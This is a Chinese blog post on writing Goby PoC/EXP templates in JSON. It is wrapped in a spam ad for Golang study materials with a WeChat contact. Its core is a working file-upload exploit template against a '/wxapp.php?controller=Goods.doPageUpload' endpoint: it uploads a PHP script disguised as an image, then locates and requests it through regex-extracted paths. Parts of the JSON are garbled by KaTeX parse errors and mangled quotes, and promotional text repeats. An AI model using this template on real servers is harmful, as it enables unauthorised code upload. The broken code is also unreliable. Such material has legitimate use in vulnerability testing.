技术分享 Json 编写 PoC&EXP 遇到的那些坑_poc查询语法错误 goby

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新Golang全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip1024b (备注go)
img

正文

在这里插入图片描述

可以看到已经拦截到流量了

在这里插入图片描述

注意:这里也有个小问题,就是如果在 PoC 管理中测试,必须先新建立扫描任务扫完后再去 PoC 管理中测试,Burp 才可以抓到包。

还有个小技巧,通常修改完 PoC 后需要重启一下 Goby,如果想要快速调试PoC包并观察流量,修改完后可以点击返回到 PoC 管理页面再点击进来.

在这里插入图片描述

可以看到流量中明显变化了。

在这里插入图片描述
在这里插入图片描述

1.2 识别规则并调用 PoC

经过测试发现 Goby 的 PoC 调用规则是先通过 PoC 写的查询规则去查询,如果查询到才会调用 PoC 进行扫描,否则就算你勾选了 PoC 也不会进行调用。具体得查询规则可以查看 Goby 查询语法

在这里插入图片描述

这里就可以发现有时候通过 PoC 管理手动测试的漏洞可以验证成功,而通过扫描的地址无法检测到存在漏洞。

注意:有时候一些 CMS 需要自己定义一些规则,比如 body=“this is test” || title="管理登录"之类的,有时候会发现直接扫描域名无法匹配到其规则,如果扫描IP则会匹配到。

0×02 编写文件上传类PoC及EXP

接下来通过一个文件上传类的 PoC/EXP 来讲解一下编写过程中遇到的问题。文件上传的 PoC 规则是需要上传一个输出特定信息并且自删除的脚本。如:

<?php echo md5(233);unlink(__FILE__);?>

这样的话我们需要在 PoC 处发送两次请求,第一次进行上传文件操作,第二次对上传的文件进行访问并验证,在访问之后这个文件会自动删除。

下面贴出请求代码,讲解我通过代码块写出。

“ScanSteps”: [
“AND”,
{
“Request”: {
“method”: “POST”,
“uri”: “/wxapp.php?controller=Goods.doPageUpload”,
“follow_redirect”: false,
//header头的设置,这里最好还是通过Burp抓包把请求头写入防止请求出错
“header”: {
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate, br”,
“Connection”: “keep-alive”,
“Upgrade-Insecure-Requests”: “1”,
“Content-Type”: “multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs”
},
“data_type”: “text”,
//post数据可以从Burp中直接复制,通过Goby的图形化界面直接复制进去,这里会自动生成
“data”: “\n------WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-data; name=“upfile”; filename=“test.php”\nContent-Type: image/gif\n\n<?php echo md5(233);unlink(\_\_FILE\_\_);?>\n\n------WebKitFormBoundary8UaANmWAgM4BqBSs–”
},
“ResponseTest”: {
“type”: “group”,
“operation”: “AND”,
“checks”: [
{
“type”: “item”,
“variable”: “KaTeX parse error: Expected 'EOF', got '}' at position 52: …200", "bz": "" }̲, { "type": "it…body”,
“operation”: “contains”,
“value”: “image_o”,
“bz”: “”
}
]
},
“SetVariable”: [
//这里需要设置两个变量,通过正则匹配返回,为上传文件的路径
“urlDir|lastbody|regex|image_o”:“.*goods\\/(.*?)\\/.*”“,
“urlDir2|lastbody|regex|image_o”:”.*goods\\/.*\\/(.*?)“”
]
},
{
“Request”: {
“method”: “GET”,
//这里调用上面的两个变量去发送GET请求
“uri”: “/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}”,
“follow_redirect”: false,
“header”: {
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate, br”,
“Connection”: “keep-alive”,
“Upgrade-Insecure-Requests”: “1”
},
“data_type”: “text”,
“data”: “”
},
“ResponseTest”: {
“type”: “group”,
“operation”: “AND”,
“checks”: [
{
“type”: “item”,
“variable”: “KaTeX parse error: Expected 'EOF', got '}' at position 52: …200", "bz": "" }̲, { "type": "it…body”,
“operation”: “contains”,
“value”: “e165421110ba03099a1c0393373c5b43”,//判断页面是否有该md5值
“bz”: “”
}
]
},
“SetVariable”: []
}
],

这里需要说一下下面的两句正则

“urlDir|lastbody|regex|image_o”:“.*goods\\/(.*?)\\/.*”“,
“urlDir2|lastbody|regex|image_o”:”.*goods\\/.*\\/(.*?)“”

因为输出的文件地址是 //Uploads/image/goods/2021-05-27/0206254881620132.php 这样子的

如果写成这样

在这里插入图片描述

直接调用发送 GET 请求为 %5C/image%5C/goods%5C/2021-05-27%5C/0206254881620132.php

在这里插入图片描述
这种请求会返回404
在这里插入图片描述

所以必须将 \ 去掉,已知文件的路径除了最后的上传日期和文件名在变化,其他不变,所以前面路径可以写死,通过正则取到日期和文件名进行组合请求。

注意:如果使用 json 编写,\ 这里必须通过两个 \ 匹配,否则匹配不到

“urlDir|lastbody|regex|image_o”:“.goods\/(.?)\/.*”" 取出日期,结果为 2021-05-27

“urlDir2|lastbody|regex|image_o”:“.goods\/.\/(.*?)”" 取出文件名 结果为 0206254881620132.php

然后通过 “uri”: “/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}” 请求则返回成功

在这里插入图片描述

PoC 部分写完,接下来看 EXP 部分就比较简单了,

“ExploitSteps”: [
“AND”,
{
“Request”: {
“method”: “POST”,
“uri”: “/wxapp.php?controller=Goods.doPageUpload”,
“follow_redirect”: false,
“header”: {
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”,

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
[外链图片转存中…(img-hVSj6lPu-1713221326025)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 41
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值